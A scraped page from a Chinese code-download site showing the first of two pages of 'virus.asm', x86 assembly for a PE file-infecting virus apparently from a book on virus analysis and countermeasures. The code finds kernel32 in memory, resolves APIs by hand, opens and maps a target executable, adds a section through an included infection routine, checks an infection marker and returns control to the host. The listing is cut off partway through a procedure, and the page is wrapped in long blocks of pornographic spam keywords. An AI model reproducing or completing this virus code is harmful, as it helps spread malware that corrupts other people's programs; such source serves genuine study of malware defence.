亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? virus.asm

?? 《計算機病毒分析與對抗》pe病毒源碼
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
?
     
      .586 
      .model flat, stdcall 
      option casemap :none  ; case sensitive 
      include c:\hd\hd.h 
      include c:\hd\mac.h 
      ;;-------------- 
      GetApiA        proto    :DWORD,:DWORD 
      ;;-------------- 
        .CODE 
      VirusLen        =  vEnd-vBegin                ;Virus 長度 
      vBegin: 
      ;----------------------------------------- 
      include s_api.asm                ;查找需要的api地址 
      ;----------------------------------------- 

      desfile        db "sc.exe",0 
      fsize          dd ? 
      hfile          dd ? 
      hMap            dd ? 
      pMem            dd ? 
      ;----------------------------------------- 
      pe_Header      dd ? 
      sec_align      dd ? 
      file_align      dd ? 
      newEip          dd ? 
      oldEip          dd ? 
      inc_size        dd ? 
      oldEnd          dd ? 
      ;----------------------------------------- 
      sMessageBoxA                            db "MessageBoxA",0 
      aMessageBoxA                    dd 0 
      ;;臨時變量... 
      sztit                  db "By Hume,2002",0 
      szMsg0                  db "Hey,Hope U enjoy it!",0 
      CopyRight              db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah 

                            db "        Thx for using it!",0dh,0ah 
                            db "Contact: Humewen@21cn.com",0dh,0ah 
                            db "        humeasm.yeah.net",0dh,0ah 
                            db "The add Code SiZe:(heX)" 
                             
                              
      val                    dd 0,0,0,0 
      ;;----------------------------------------- 
      __Start: 
             
            call    _gd 
      _gd:   
            pop    ebp                            ;得到delta地址 
            sub    ebp,offset _gd                        
      ;因為在其他程序中基址可能不是默認的所以需要重定位 
            mov    dword ptr [ebp+appBase],ebp    ;呵呵仔細想想 
             
        mov    eax,[esp]                      ;返回地址 
            xor    edx,edx 
      getK32Base: 
            dec    eax                            ;逐字節比較驗證 
            mov    dx,word  ptr [eax+IMAGE_DOS_HEADER.e_lfanew]  ;就是ecx+3ch 
            test    dx,0f000h                      ;Dos 
      Header+stub不可能太大,超過4096byte 
            jnz    getK32Base                      ;加速檢驗 
            cmp    eax,dword ptr 
      [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase] 
            jnz    getK32Base                      ;看Image_Base值是否等于ecx即模塊起始值, 
            mov    [ebp+k32Base],eax              ;如果是,就認為找到kernel32的Base值 
             
            lea    edi,[ebp+aGetModuleHandle] 
            lea    esi,[ebp+lpApiAddrs] 
      lop_get: 
            lodsd 
            cmp    eax,0 
            jz      End_Get 
            add    eax,ebp 
            push    eax 
            push    dword ptr [ebp+k32Base] 
            call    GetApiA                         
            stosd 
            jmp    lop_get                          ;獲得api地址,參見s_api文件           
                  
      End_Get: 
            call    my_infect 

            include dislen.asm 
            ;----------------------------------------- 
      CouldNotInfect: 
      __where:                                         
            xor    eax,eax                ;判斷是否是已經附加,標志'dark' 
            push    eax 
            call    [ebp+aGetModuleHandle] 
            mov    esi,eax 
            add    esi,[esi+3ch]  ;->esi->程序本身的Pe_header 
            cmp    dword ptr [esi+8],'dark' 
            je      jmp_oep 
            jmp    __xit                  ;退出啟動程序 
      jmp_oep: 
            add    eax,[ebp+oldEip]         
            jmp    eax                    ;跳到宿主程序的入口點 

      my_infect:                              ;感染部分,文件讀寫操作,Pe文件修改參見modipe.asm文件 
            xor    eax,eax 
            push    eax 
            push    eax 
            push    OPEN_EXISTING 
            push    eax 
            push    eax 
            push    GENERIC_READ+GENERIC_WRITE 
            lea    eax,[ebp+desfile] 
            push    eax 
            call    [ebp+aCreateFile]                    ;打開目標文件 
            inc    eax 
            je      __Err 
            dec    eax 
            mov    [ebp+hfile],eax 
             
            push    eax 
            sub    ebx,ebx 
            push    ebx 
            push    eax                    ;得到文件大小 
            call    [ebp+aGetFileSize] 
            inc    eax 
            je      __sclosefile 
            dec    eax 
            mov    [ebp+fsize],eax 
            xchg    eax,ecx 
            add    ecx,1000h              ;文件大小增加...4096 
            pop    eax                                   
            xor    ebx,ebx                              ;創建映射文件 
            push    ebx 
            push    ecx            ;文件大小等于原大小+Vsize 
            push    ebx             
            push    PAGE_READWRITE 
            push    ebx 
            push    eax 
            call    [ebp+aCreateFileMapping] 
            test    eax,eax 
            je      __sclosefile 
            mov    [ebp+hMap],eax                      ;創建成功否? 
             
            xor    ebx,ebx 
            push    ebx 
            push    ebx 
            push    ebx 
            push    FILE_MAP_WRITE     
            push    eax 
            call    [ebp+aMapViewOfFile] 
            test    eax,eax 
            je      __sclosemap                          ; 映射文件,是否成功? 
            mov    [ebp+pMem],eax 
            ;-------------------------------------------- 
            ; the following is modifying part,add new section 
            ;-------------------------------------------- 
            include modipe.asm 
      __sunview: 
            push    [ebp+pMem] 
            call    [ebp+aUnmapViewOfFile] 
      __sclosemap: 
            push    [ebp+hMap] 
            call    [ebp+aCloseHandle] 
      __sclosefile: 
            push    [ebp+hfile] 
            call    [ebp+aCloseHandle] 
      __Err:: 
            ret 
           
      ;----------------------------------------- 
      __xit:   
            push    0 
            call    [ebp+aExitProcess] 
      vEnd:   
      ;----------------------------------------- 
      END    __Start 
      ;;============================================== 
      ;;s_api.asm 
      ;;手動查找api部分 
      K32_api_retrieve        proc    Base:DWORD ,sApi:DWORD 
            push    edx                    ;保存edx     
            xor    eax,eax                ;此時esi=sApi 
      Next_Api:                              ;edi=AddressOfNames 
            mov    esi,sApi 
            xor    edx,edx 
            dec    edx 
      Match_Api_name: 
            movzx  ebx,byte  ptr [esi] 
            inc    esi 
            cmp    ebx,0 
            je      foundit 
            inc    edx 
            push    eax 
            mov    eax,[edi+eax*4]        ;AddressOfNames的指針,遞增 
            add    eax,Base                ;注意是RVA,一定要加Base值 
            cmp    bl,byte  ptr [eax+edx]  ;逐字符比較   
            pop    eax 
            je      Match_Api_name          ;繼續搜尋 
            inc    eax                    ;不匹配,下一個api 
            loop    Next_Api 
      no_exist: 
            pop    edx                    ;若全部搜完,即未存在 
            xor    eax,eax 
            ret 
                                     
      foundit: 
            pop    edx                    ;edx=AddressOfNameOrdinals 
                                      ;*2得到AddressOfNameOrdinals的指針 
            movzx  eax,word  ptr [edx+eax*2] ;eax返回指向AddressOfFunctions的指針 
            ret 
      K32_api_retrieve        endp 
      ;----------------------------------------- 
      GetApiA        proc    Base:DWORD,sApi:DWORD 
            local    ADDRofFun:DWORD 
            pushad 
            mov    esi,Base 
            mov    eax,esi 
            mov    ebx,eax 
            mov    ecx,eax 
            mov    edx,eax 
            mov    edi,eax                            ;all is Base! 
            add    ecx,[ecx+3ch]                      ;現在esi=off PE_HEADER       
                                                                          

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲日本欧美天堂| 欧美一区二区三区免费在线看 | 国产乱淫av一区二区三区| 一区二区三区电影在线播| 久久在线观看免费| 精品噜噜噜噜久久久久久久久试看 | 欧美三级中文字| 99精品久久只有精品| 99视频在线精品| 91在线观看下载| 色婷婷综合久久| 欧美色倩网站大全免费| 在线一区二区三区四区五区| 日本高清不卡aⅴ免费网站| 色94色欧美sute亚洲线路一ni| 色欧美片视频在线观看| 91久久人澡人人添人人爽欧美| 欧美亚洲日本国产| 欧美一区二区三区日韩| 亚洲精品一区二区精华| 亚洲国产高清在线观看视频| 国产精品理论在线观看| 亚洲国产精品久久艾草纯爱| 蜜桃av一区二区三区电影| 国产成人久久精品77777最新版本| 成人免费毛片aaaaa**| 91福利精品第一导航| 91精品国产日韩91久久久久久| 精品国产91亚洲一区二区三区婷婷| 久久久久久久综合日本| 亚洲一二三四在线| 蜜桃久久av一区| 91啪亚洲精品| 日韩精品中午字幕| 亚洲女同ⅹxx女同tv| 美女一区二区三区在线观看| 高清在线不卡av| 欧美高清性hdvideosex| 一区在线观看视频| 奇米在线7777在线精品| 91色综合久久久久婷婷| 欧美电影免费观看高清完整版在| 欧美国产欧美亚州国产日韩mv天天看完整| 中文字幕在线观看一区二区| 日韩不卡在线观看日韩不卡视频| 成人av影院在线| 日韩欧美亚洲国产精品字幕久久久 | 欧美日韩精品综合在线| 国产午夜亚洲精品理论片色戒| 丝袜亚洲另类欧美| 91免费版在线| 国产亚洲一二三区| 日本中文字幕一区二区有限公司| 99久久久无码国产精品| 久久久久亚洲综合| 日韩av电影一区| 欧美日韩中文国产| 亚洲色大成网站www久久九九| 国内精品在线播放| 51精品秘密在线观看| 亚洲精品国产精华液| 不卡的看片网站| 久久午夜色播影院免费高清| 午夜精品成人在线视频| 日本久久一区二区三区| 中文字幕在线不卡| 国产成人自拍网| 久久综合色播五月| 久久国产成人午夜av影院| 国产精品妹子av| 成人va在线观看| 久久久99免费| 国产精品综合一区二区| 久久先锋影音av鲁色资源| 久久99国产精品免费| 欧美大片一区二区三区| 蜜桃久久精品一区二区| 欧美变态tickling挠脚心| 美女视频一区在线观看| 欧美mv日韩mv国产网站app| 美腿丝袜在线亚洲一区| 精品精品国产高清一毛片一天堂| 日本伊人精品一区二区三区观看方式| 欧美日韩精品一区二区在线播放| 夜夜爽夜夜爽精品视频| 欧美午夜一区二区三区免费大片| 亚洲一区在线看| 9191久久久久久久久久久| 蜜臀av一区二区在线免费观看| 日韩精品一区二区三区在线| 精油按摩中文字幕久久| 国产午夜精品一区二区| 成人爱爱电影网址| 亚洲综合色在线| 8v天堂国产在线一区二区| 激情综合色综合久久综合| 欧美国产成人精品| 色8久久精品久久久久久蜜| 天堂va蜜桃一区二区三区漫画版| 91精品国产色综合久久不卡蜜臀| 蜜桃视频在线观看一区| 国产精品免费aⅴ片在线观看| 在线日韩一区二区| 免费看精品久久片| 国产精品久久久久久妇女6080| 欧美私人免费视频| 久久成人免费网| 日韩理论电影院| 欧美大片在线观看| 色综合久久综合网97色综合| 天天影视网天天综合色在线播放| 2020日本不卡一区二区视频| av电影天堂一区二区在线| 天天影视色香欲综合网老头| 国产性色一区二区| 精品视频999| 国产传媒日韩欧美成人| 无码av中文一区二区三区桃花岛| 国产三级精品三级在线专区| 欧美视频一二三区| 成人高清免费观看| 蜜桃视频免费观看一区| 一区二区欧美国产| 国产女人水真多18毛片18精品视频 | 亚洲国产精品一区二区久久恐怖片 | 亚洲国产精品二十页| 欧美精品久久一区| 一本到三区不卡视频| 国产精品69毛片高清亚洲| 亚洲成av人片在线| 国产精品国产自产拍在线| 精品福利视频一区二区三区| 欧美日韩夫妻久久| 99精品偷自拍| 国产成人免费av在线| 国内一区二区在线| 理论片日本一区| 亚洲高清免费观看高清完整版在线观看 | 日本道精品一区二区三区| 成人免费毛片a| 丁香婷婷综合五月| 国产精品一级黄| 国产一二精品视频| 久草中文综合在线| 免费观看成人av| 蜜臀久久99精品久久久久宅男| 亚洲成av人片| 午夜久久久久久电影| 一区二区久久久久久| 一区二区三区 在线观看视频| 中文字幕中文字幕中文字幕亚洲无线| 精品国产髙清在线看国产毛片| 欧美一二区视频| 日韩一区二区在线看| 6080亚洲精品一区二区| 6080午夜不卡| 日韩欧美一级二级| 久久久无码精品亚洲日韩按摩| 久久久综合九色合综国产精品| 精品久久久久久无| 国产欧美一区二区精品忘忧草 | 欧美成人女星排名| 日韩精品一区二区三区老鸭窝| 678五月天丁香亚洲综合网| 在线91免费看| 久久午夜色播影院免费高清| 日本一区二区久久| 亚洲同性gay激情无套| 亚洲综合视频在线| 蜜臀av一区二区在线观看| 九九热在线视频观看这里只有精品| 国产在线播放一区三区四| 成人午夜激情在线| 色噜噜狠狠成人网p站| 欧美无砖专区一中文字| 91精品国产综合久久精品麻豆 | 在线一区二区三区| 欧美电影影音先锋| 精品国产成人在线影院| 亚洲欧洲三级电影| 亚洲超碰97人人做人人爱| 久久av老司机精品网站导航| 成人伦理片在线| 欧美日免费三级在线| 精品久久久久久久人人人人传媒| 欧美精彩视频一区二区三区| 一区二区三区在线免费视频| 免费人成网站在线观看欧美高清| 国产99精品在线观看| 色丁香久综合在线久综合在线观看| 欧美日韩极品在线观看一区| 精品动漫一区二区三区在线观看| 日韩一区在线播放| 日韩国产欧美一区二区三区| 91精品国产91久久久久久最新毛片| 久久综合国产精品| 午夜精品123| 972aa.com艺术欧美| 精品久久一区二区三区| 亚洲国产视频网站|